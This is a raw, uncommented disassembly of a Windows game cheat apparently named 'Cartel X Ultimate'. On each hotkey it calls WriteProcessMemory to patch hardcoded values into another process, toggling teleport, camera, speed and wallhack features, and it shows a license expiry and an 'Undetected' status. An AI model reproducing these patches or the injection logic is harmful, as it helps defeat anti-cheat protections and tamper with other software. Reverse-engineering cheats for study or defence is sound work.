mov qword [0x14061f4c8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
mov qword [rsp + 0x28], rax
lea rdx, [0x14048cee0]
lea rax, [rbp + 0x1010]
movaps xmm3, xmm6
mov r8d, 0xb98
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400226c0
mov qword [0x14061f4d8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm3, dword [0x1401914b4]
lea rdx, [0x14048cee0]
mov qword [rsp + 0x28], rax
mov r8d, 0xb98
lea rax, [rbp + 0x1010]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
xor ecx, ecx
mov qword [0x14061f4e0], rax
call fcn.140028dd0
mov rcx, rsi
call fcn.14003b910
mov rdx, qword [0x14061f778]
mov rcx, qword [0x14061f6c8]
call fcn.14003a8d0
movss xmm8, dword [0x14012eb24]
xor bl, bl
mov dword [rbp + 0x11c], ebx
movabs r12, 0x7fffffffffffffff
movss xmm10, dword [0x14012eb40]
xorps xmm7, xmm7
movss xmm9, dword [0x14012eb9c]
movss xmm14, dword [0x14012eafc]
movss xmm11, dword [0x14012eb58]
movss xmm12, dword [0x14012eb48]
movss xmm13, dword [0x1401914c8]
movss xmm15, dword [0x14012ead4]
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0xdc8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140050974
nop
lea rcx, [rbp + 0xdc8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xdc8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xdd0], 0x12
lea rcx, [rbp + 0xdc8]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140050920
mov dword [rbp + 0x11c], ebx
test bl, bl
jne 0x140056cf3
call fcn.14003ab50
call fcn.14003bac0
call fcn.140014cb0
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400509b2
cmp byte [reloc.WS2_32.dll_accept], 0
mov rcx, rsi
sete al
mov byte [reloc.WS2_32.dll_accept], al
neg al
sbb edx, edx
and edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14004b220
movzx eax, byte [0x14061f3cc]
test al, al
jne 0x1400515c6
call fcn.14000e3d0
xor edx, edx
lea rcx, [rbp + 0x358]
mov r15, rax
mov dword [rax + 0x10], 0x41200000
mov dword [rax + 0x2c], 0x41200000
mov dword [rax + 8], r13d
mov dword [rax + 0xc], 0x41f00000
mov dword [rax + 0x14], r13d
mov dword [rax + 0x44], 0x40800000
mov qword [rax + 0x4c], 0
mov dword [rax + 0x74], 0x40c00000
mov qword [rax + 0x34], 0x41000000
mov dword [rbp + 0x358], 0x44480000
mov dword [rbp + 0x35c], 0x44020000
call fcn.14001b000
lea rcx, [rsp + 0x60]
call fcn.14004a880
mov rcx, rax
call fcn.140049ee0
mov rcx, rax
xor edx, edx
mov r8d, 0x20bb
call fcn.140004dd0
lea rcx, [rbp + 0x368]
call fcn.14000e680
lea rcx, [rbp + 0x360]
call fcn.14000e6a0
lea rcx, [rbp + 0xbb8]
call fcn.14000d840
call fcn.14000d910
cvttss2si ecx, dword [0x1405e8e28]
mov r9d, 0xff
xor edx, edx
mov r8d, r9d
mov rbx, rax
mov dword [rsp + 0x20], ecx
lea rcx, [rbp + 0x1000]
call fcn.140048780
mov rcx, rax
call fcn.140009f70
movss xmm0, dword [rbp + 0x360]
lea r8, [rbp + 0x370]
movss xmm3, dword [rbp + 0x368]
lea rdx, [rbp + 0x2d8]
movss xmm2, dword [rbp + 0x36c]
addss xmm0, xmm3
movss xmm1, dword [rbp + 0x364]
subss xmm3, xmm8
addss xmm1, xmm2
mov r9d, eax
subss xmm2, xmm8
mov rcx, rbx
addss xmm0, xmm8
movss dword [rbp + 0x2d8], xmm3
addss xmm1, xmm8
movss dword [rbp + 0x2dc], xmm2
movss dword [rbp + 0x370], xmm0
movss xmm0, dword [0x14012eb38]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
movss dword [rsp + 0x20], xmm10
movss dword [rbp + 0x374], xmm1
call fcn.140023bf0
call fcn.14004b220
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x110], 0
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0xb80]
call fcn.14000e680
movss xmm0, dword [rax]
ucomiss xmm0, xmm7
jp 0x140050b85
jne 0x140050b85
lea rcx, [rbp + 0xb88]
call fcn.14000e680
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm7
jp 0x140050b85
je 0x140050bfc
lea rcx, [rbp + 0xc88]
call fcn.14000e680
movd xmm0, dword [rbp + 0x1b4]
lea rcx, [rbp + 0xcd8]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.14000e680
mov r9d, 0x320
mov dword [rsp + 0x28], r14d
mov r8d, ebx
mov rcx, rsi
mov dword [rsp + 0x20], 0x208
movd xmm0, dword [rbp + 0x1b0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor edx, edx
mov qword [rbp + 0x378], 0
lea rcx, [rbp + 0x378]
call fcn.14001b330
call fcn.14000e630
lea rcx, [rsp + 0x60]
mov r14, rax
call fcn.14004a6e0
mov rcx, rax
call fcn.140049f50
lea rcx, [0x1405e95e8]
mov rsi, rax
call fcn.14000d740
lea rcx, [rsp + 0x60]
mov edi, eax
call fcn.14004a630
mov rcx, rax
call fcn.140049f50
mov rdx, rax
movss dword [rsp + 0x20], xmm9
xor r9d, r9d
lea rcx, [rbp + 0xbd8]
xor r8d, r8d
call fcn.140008b80
mov rbx, rax
call fcn.14000e6c0
subss xmm0, dword [rbx]
lea r8, [rbp + 0x380]
mov dword [rbp + 0x384], 0x41400000
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xbd0]
mulss xmm0, xmm14
movss dword [rbp + 0x380], xmm0
call fcn.14004a130
mov rdx, rax
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8d, edi
mov rcx, r14
call fcn.140023eb0
call fcn.14000d570
lea rcx, [0x1405e95a8]
mov rbx, rax
call fcn.14000d740
lea r8, [rbp + 0x388]
mov dword [rbp + 0x388], 0x44480000
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x38c], 0x42340000
lea rcx, [rbp + 0xbc8]
mov r9d, eax
call fcn.14004a130
lea r8, [rbp + 0x390]
mov qword [rbp + 0x390], 0
lea rdx, [rbp + 0x110]
mov r10, rax
lea rcx, [rbp + 0xbc0]
call fcn.14004a130
mov rdx, rax
mov dword [rsp + 0x28], Ordinal_50
mov r8, r10
movss dword [rsp + 0x20], xmm11
mov rcx, rbx
call fcn.140023d00
call fcn.14000d570
lea rcx, [0x1405e95b8]
mov rbx, rax
call fcn.14000d740
lea r8, [rbp + 0x3d8]
mov dword [rbp + 0x3d8], 0x44480000
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x3dc], 0x44020000
lea rcx, [rbp + 0xcd0]
mov r9d, eax
call fcn.14004a130
lea r8, [rbp + 0x3e0]
mov dword [rbp + 0x3e0], 0
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x3e4], 0x42340000
lea rcx, [rbp + 0xbf0]
mov r10, rax
call fcn.14004a130
mov dword [rsp + 0x28], 0xc0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
mov r8, r10
mov rcx, rbx
call fcn.140023d00
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140056de9
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140050de6
call fcn.14004dff0
lea rcx, [rbp + 0x3f0]
mov dword [rbp + 0x3f0], 0x43340000
mov dword [rbp + 0x3f4], 0x43f28000
call fcn.14001a990
lea rcx, [0x1405e8d58]
call fcn.14004db70
mov rcx, rax
call fcn.140037db0
lea rdx, [rbp + 0x3f8]
mov dword [rbp + 0x3f8], 0x40e00000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x3fc], 0x40e00000
call fcn.140016b80
lea rcx, [rbp + 0x400]
mov dword [rbp + 0x400], 0x40e00000
mov dword [rbp + 0x404], 0x42540000
call fcn.14001a990
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x408], 0x431d0000
mov dword [rbp + 0x40c], 0x420c0000
call fcn.14004a5c0
mov rcx, rax
call fcn.140049e10
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.14004a560
mov rcx, rax
call fcn.140049da0
cmp dword [0x14061f4e8], 0
lea r9, [rbp + 0x408]
mov r8, rbx
mov dword [rsp + 0x20], r13d
sete cl
mov rdx, rax
call fcn.1400376b0
test al, al
je 0x140050ecb
mov dword [0x14061f4e8], r13d
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x410], 0x431d0000
mov dword [rbp + 0x414], 0x420c0000
call fcn.14004a810
mov rcx, rax
call fcn.140049f10
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.14004a3b0
mov rcx, rax
call fcn.140049dc0
cmp dword [0x14061f4e8], 1
lea r9, [rbp + 0x410]
mov r8, rbx
mov dword [rsp + 0x20], r13d
sete cl
mov rdx, rax
call fcn.1400376b0
mov r14d, 1
test al, al
je 0x140050f38
mov dword [0x14061f4e8], r14d
call fcn.14000bd20
mov ecx, r14d
call fcn.140016580
mov eax, dword [0x14061f4f4]
cmp dword [0x14061f4e8], eax
jne 0x140050f59
movaps xmm6, xmm8
jmp 0x140050f5d
movaps xmm6, xmm9
call fcn.14000dce0
movaps xmm2, xmm8
movaps xmm1, xmm7
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm12
mulss xmm0, xmm6
addss xmm0, dword [0x14061f4ec]
call fcn.140047260
mov eax, dword [0x14061f4f4]
cmp dword [0x14061f4e8], eax
movss dword [0x14061f4ec], xmm0
jne 0x140050fa0
movaps xmm6, xmm8
jmp 0x140050fa4
movaps xmm6, xmm9
call fcn.14000dce0
movaps xmm0, xmm13
mov rbx, rax
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, dword [rbx + 0x10]
movaps xmm2, xmm8
movaps xmm1, xmm7
mulss xmm0, xmm6
addss xmm0, dword [0x14061f4f0]
call fcn.140047260
movss xmm1, dword [0x14061f4ec]
ucomiss xmm1, xmm7
movss dword [0x14061f4f0], xmm0
jp 0x140050ffc
jne 0x140050ffc
ucomiss xmm0, xmm7
jp 0x140050ffc
jne 0x140050ffc
mov eax, dword [0x14061f4e8]
mov dword [0x14061f4f4], eax
lea rcx, [rbp + 0x418]
mov dword [rbp + 0x418], 0x43340000
mov dword [rbp + 0x41c], 0x425c0000
call fcn.14001a990
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14005102a
call fcn.14004dff0
movss xmm1, dword [0x14061f4ec]
xor ecx, ecx
mulss xmm1, dword [r15]
call fcn.140016c60
mov eax, dword [0x14061f4f4]
cmp eax, 1
jne 0x1400511eb
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x440], 0x43b18000
mov dword [rbp + 0x444], 0x43b18000
call fcn.14004a2c0
mov rcx, rax
call fcn.14004a0e0
xor r9d, r9d
lea rdx, [rbp + 0x440]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rcx, [rsp + 0x60]
call fcn.14004a790
mov rcx, rax
call fcn.140049fc0
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
lea rdx, [0x14061f530]
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a250
mov rcx, rax
call fcn.14004a090
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
lea rdx, [0x14061f570]
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a4f0
mov rcx, rax
call fcn.140049e70
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
lea rdx, [0x14061f5b0]
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x448], 0x43480000
mov dword [rbp + 0x44c], 0x420c0000
call fcn.14004a340
mov rcx, rax
call fcn.140049ea0
lea rdx, [rbp + 0x448]
mov rcx, rax
call fcn.14002fe90
test al, al
je 0x1400511db
lea rdx, [0x14061f5b0]
lea rcx, [rbp + 0x1120]
call fcn.140048610
lea rdx, [0x14061f570]
mov rdi, rax
lea rcx, [rbp + 0x10a0]
call fcn.140048610
lea rdx, [0x14061f530]
mov rbx, rax
lea rcx, [rbp + 0x10c0]
call fcn.140048610
mov r9, rdi
lea rcx, [0x14061f780]
mov r8, rbx
mov rdx, rax
call fcn.1400cf700
cmp byte [0x14061f998], 0
lea rcx, [0x14061f9a0]
je 0x1400511c7
mov byte [0x14061f3cc], 1
call fcn.14004db70
mov rdx, rax
lea rcx, [0x1405e8d58]
call fcn.140049d80
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x14061f4f4]
test eax, eax
jne 0x1400515ac
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x450], 0x43b18000
mov dword [rbp + 0x454], 0x43b18000
call fcn.14004a1e0
mov rcx, rax
call fcn.140049de0
xor r9d, r9d
lea rdx, [rbp + 0x450]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rcx, [rsp + 0x60]
call fcn.14004a160
mov rcx, rax
call fcn.14004a000
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
lea rdx, [0x14061f530]
lea r8d, [r9 + 0x28]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a410
mov rcx, rax
call fcn.14004a040
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
lea rdx, [0x14061f570]
lea r8d, [r9 + 0x28]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x220], 0x43480000
mov dword [rbp + 0x224], 0x42200000
call fcn.14004a480
mov rcx, rax
call fcn.140049e40
lea rdx, [rbp + 0x220]
mov rcx, rax
call fcn.14002fe90
test al, al
je 0x1400515a2
lea rdx, [0x14061f570]
lea rcx, [rbp + 0x10e0]
call fcn.140048610
lea rdx, [0x14061f530]
mov rbx, rax
lea rcx, [rbp + 0x1100]
call fcn.140048610
mov r8, rbx
lea rcx, [0x14061f780]
mov rdx, rax
call fcn.1400cd5c0
cmp byte [0x14061f998], 0
je 0x1400515a2
lea rdx, [0x14061f978]
mov byte [0x14061f3cc], 1
lea rcx, [rbp + 0xe48]
call fcn.1400484f0
lea rcx, [rbp + 0xe48]
call fcn.14004db70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x5d0], rcx
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Expiry:__d__m__Y
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0xe10]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea r8, [0x14061f8c0]
mov rbx, rax
lea rdx, str.Usuario:
lea rcx, [rbp + 0xe28]
call fcn.140047110
lea rdx, [0x14061f978]
lea rcx, [rbp + 0xea8]
call fcn.1400484f0
lea rcx, [rbp + 0xea8]
call fcn.14004db70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
mov eax, 0xc22e4507
imul ecx
add edx, ecx
lea rcx, [rbp + 0xfa0]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add edx, eax
call fcn.14004f5c0
mov rcx, rax
call fcn.14004db70
mov rdx, rax
lea rcx, [rbp + 0xe68]
call fcn.140048610
lea rcx, [rbp + 0xfa0]
call fcn.14002fd20
lea r8, [rbp + 0xe68]
lea rdx, str.Dias:
lea rcx, [rbp + 0xfe0]
call fcn.140047110
lea rdx, str.Status:_Undetected
lea rcx, [rbp + 0xe88]
call fcn.140048610
lea rdx, [rbp + 0xe10]
lea rcx, [rbp + 0xec8]
call fcn.140048610
lea rcx, [rbp + 0xe88]
call fcn.14004db70
mov rdx, rax
lea rcx, [0x1405e8d58]
call fcn.140049d80
xorps xmm0, xmm0
lea rdx, [rbp + 0xf70]
xor r9d, r9d
lea rcx, str.1186272039133261936
mov r8d, r14d
movups xmmword [rbp + 0xf70], xmm0
movups xmmword [rbp + 0xf80], xmm0
movups xmmword [rbp + 0xf90], xmm0
call fcn.140040ba0
xorps xmm0, xmm0
movups xmmword [rbp + 0xce0], xmm0
movups xmmword [rbp + 0xcf0], xmm0
movups xmmword [rbp + 0xd00], xmm0
movups xmmword [rbp + 0xd10], xmm0
movups xmmword [rbp + 0xd20], xmm0
movups xmmword [rbp + 0xd30], xmm0
movups xmmword [rbp + 0xd40], xmm0
movups xmmword [rbp + 0xd50], xmm0
lea rcx, [rbp + 0xe28]
movups xmmword [rbp + 0xd60], xmm0
call fcn.14004db70
lea rcx, [rbp + 0xec8]
mov qword [rbp + 0xce0], rax
call fcn.14004db70
mov qword [rbp + 0xce8], rax
lea rcx, [rbp + 0xce0]
lea rax, str.trilder_x_1
mov qword [rbp + 0xcf0], rbx
mov qword [rbp + 0xd00], rax
lea rax, str.Cartel_X_Ultimate
mov qword [rbp + 0xd08], rax
lea rax, str.cff9f526f96ff491dbba63b2fd02b0c3
mov qword [rbp + 0xd10], rax
lea rax, str.Developed_by_Swatzz
mov qword [rbp + 0xd18], rax
call fcn.140040e10
lea rcx, [rbp + 0xec8]
call fcn.14002fd20
lea rcx, [rbp + 0xe88]
call fcn.14002fd20
lea rcx, [rbp + 0xfe0]
call fcn.14002fd20
lea rcx, [rbp + 0xe68]
call fcn.14002fd20
lea rcx, [rbp + 0xea8]
call fcn.14002fd20
lea rcx, [rbp + 0xe28]
call fcn.14002fd20
lea rcx, [rbp + 0xe48]
call fcn.14002fd20
call fcn.14000b520
call fcn.14000bd20
mov ecx, r14d
call fcn.140016580
call fcn.14000afe0
movzx eax, byte [0x14061f3cc]
mov r15d, 0xa
cmp al, 1
jne 0x140056c6c
mov ecx, dword [0x14061f40c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051791
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14005161a
lea rdx, [0x14004c140]
lea rcx, [rbp + 0xc90]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc98], 0
je 0x140051791
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [0x14061f670]
mov esi, r13d
mov rdx, qword [0x14061f668]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f4b0], 0
je 0x1400516e8
mov byte [0x14061f4b0], 0
mov dword [rbp - 0x68], 0xc47a0000
mov dword [rbp - 0x64], 0x43f3f3f
mov dword [rbp - 0x60], 0xe92d4ff0
mov dword [rbp - 0x5c], 0xe28db01c
test rax, rax
je 0x1400516b7
mov rdi, r13
nop word [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x68]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f670]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f668]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051670
lea r9, str.Teleport_Amazon_Enable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x11b20]
call fcn.1400487d0
lea rcx, [rbp + 0x11b20]
call fcn.14004bce0
mov ecx, 0x320
jmp 0x140051786
mov byte [0x14061f4b0], 1
mov dword [rbp - 0x58], 0x447a0000
mov dword [rbp - 0x54], 0x43f3f3f
mov dword [rbp - 0x50], 0xe92d4ff0
mov dword [rbp - 0x4c], 0xe28db01c
test rax, rax
je 0x14005175a
mov rdi, r13
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x58]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f670]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f668]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051713
lea r9, str.Teleport_Amazon_Disable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x13b30]
call fcn.1400487d0
lea rcx, [rbp + 0x13b30]
call fcn.14004bce0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14061f410]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051a1e
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400517db
lea rdx, [0x14004e840]
lea rcx, [rbp + 0xc28]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc30], 0
jne 0x140051613
jmp 0x140051a1e
mov rax, qword [0x14061f730]
mov esi, r13d
mov rdx, qword [0x14061f728]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f4b2], 0
je 0x140051911
mov byte [0x14061f4b2], 0
mov dword [rbp + 0xc0], 0
mov qword [rbp + 0xc4], 0x40c38e22
mov dword [rbp + 0xcc], 0
mov dword [rbp + 0xd0], 0xbf800000
mov dword [rbp + 0xd4], 0
mov dword [rbp + 0xd8], 0xbf800000
mov qword [rbp + 0xdc], 0
mov qword [rbp + 0xe4], 0x3f800000
mov qword [rbp + 0xec], 0
mov dword [rbp + 0xf4], 0
mov qword [rbp + 0xf8], 0x3f800000
mov dword [rbp + 0x100], 0
mov dword [rbp + 0x104], 0xbf800000
test rax, rax
je 0x1400518e0
mov rdi, r13
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, 0x48
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0xc0]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f730]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f728]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051896
lea r9, str.Dwarf_Camera_Enabled
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x15b40]
call fcn.1400487d0
lea rcx, [rbp + 0x15b40]
call fcn.14004bce0
mov ecx, 0x320
jmp 0x140051a13
mov byte [0x14061f4b2], 1
mov dword [rbp + 0x70], 0
mov qword [rbp + 0x74], 0x3f800000
mov dword [rbp + 0x7c], 0
mov dword [rbp + 0x80], 0xbf800000
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x88], 0xbf800000
mov qword [rbp + 0x8c], 0
mov qword [rbp + 0x94], 0x3f800000
mov qword [rbp + 0x9c], 0
mov dword [rbp + 0xa4], 0
mov qword [rbp + 0xa8], 0x3f800000
mov dword [rbp + 0xb0], 0
mov dword [rbp + 0xb4], 0xbf800000
test rax, rax
je 0x1400519e7
mov rdi, r13
nop
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, 0x48
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f730]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f728]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x1400519a0
lea r9, str.Dwarf_Camera_Disabled
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x17b50]
call fcn.1400487d0
lea rcx, [rbp + 0x17b50]
call fcn.14004bce0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14061f414]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051ba8
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140051a68
lea rdx, [0x14004d180]
lea rcx, [rbp + 0xc38]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc40], 0
jne 0x140051613
jmp 0x140051ba8
mov rax, qword [0x14061fa40]
mov esi, r13d
mov rdx, qword [0x14061fa38]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f516], 0
je 0x140051b15
mov byte [0x14061f516], 0
mov dword [rbp - 0x78], 0x42520000
mov dword [rbp - 0x74], 0x3fb33333
mov dword [rbp - 0x70], 0x3ff33333
test rax, rax
je 0x140051af8
mov rdi, r13
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x78]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061fa40]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061fa38]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051ab1
lea rdx, str.Speed_Run_Enabled
lea rcx, [0x1405e8d58]
call fcn.140049d80
mov ecx, 0x320
jmp 0x140051b9d
mov byte [0x14061f516], 1
mov dword [rsp + 0x78], 0x40500000
mov dword [rsp + 0x7c], 0x3fb33333
mov word [rbp - 0x80], 0x3333
test rax, rax
je 0x140051b85
mov rdi, r13
nop word [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9, r15
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x78]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061fa40]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061fa38]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051b40
lea rdx, str.Speed_X99_Disable
lea rcx, [0x1405e8d58]
call fcn.140049d80
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14061f41c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051d9e
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140051bf2
lea rdx, [0x14004c1e0]
lea rcx, [rbp + 0xc48]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc50], 0
jne 0x140051613
jmp 0x140051d9e
mov rax, qword [0x14061f718]
mov esi, r13d
mov rdx, qword [0x14061f710]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f51a], 0
je 0x140051caf
mov byte [0x14061f51a], 0
mov dword [rsp + 0x68], 0xbeac8b44
mov dword [rsp + 0x6c], 0xbf1e76c9
test rax, rax
je 0x140051c7e
mov rdi, r13
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, 8
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x68]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f718]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f710]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051c36
lea r9, str.WALLHACK_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x19b60]
call fcn.1400487d0
lea rcx, [rbp + 0x19b60]
call fcn.14004bce0
mov ecx, 0x320
jmp 0x140051d93
mov byte [0x14061f51a], 1
mov dword [rbp + 0x30], 0x3f8147ae
mov dword [rbp + 0x34], 0x3f8147ae
mov dword [rbp + 0x38], 0x3f8147ae
mov dword [rbp + 0x3c], 0x3f8147ae
mov dword [rbp + 0x40], 0xeeb71a00
mov dword [rbp + 0x44], 0xed9f3adc
mov dword [rbp + 0x48], 0xe24f0030
mov dword [rbp + 0x4c], 0xeeb02a43
mov dword [rbp + 0x50], 0xf4600aef
mov dword [rbp + 0x54], 0xeef06a43
mov dword [rbp + 0x58], 0xe28a001c
mov dword [rbp + 0x5c], 0xeef05a43
mov word [rbp + 0x60], 0xa8f
test rax, rax
je 0x140051d67
mov rdi, r13
nop dword [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x30]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f718]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f710]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051d20
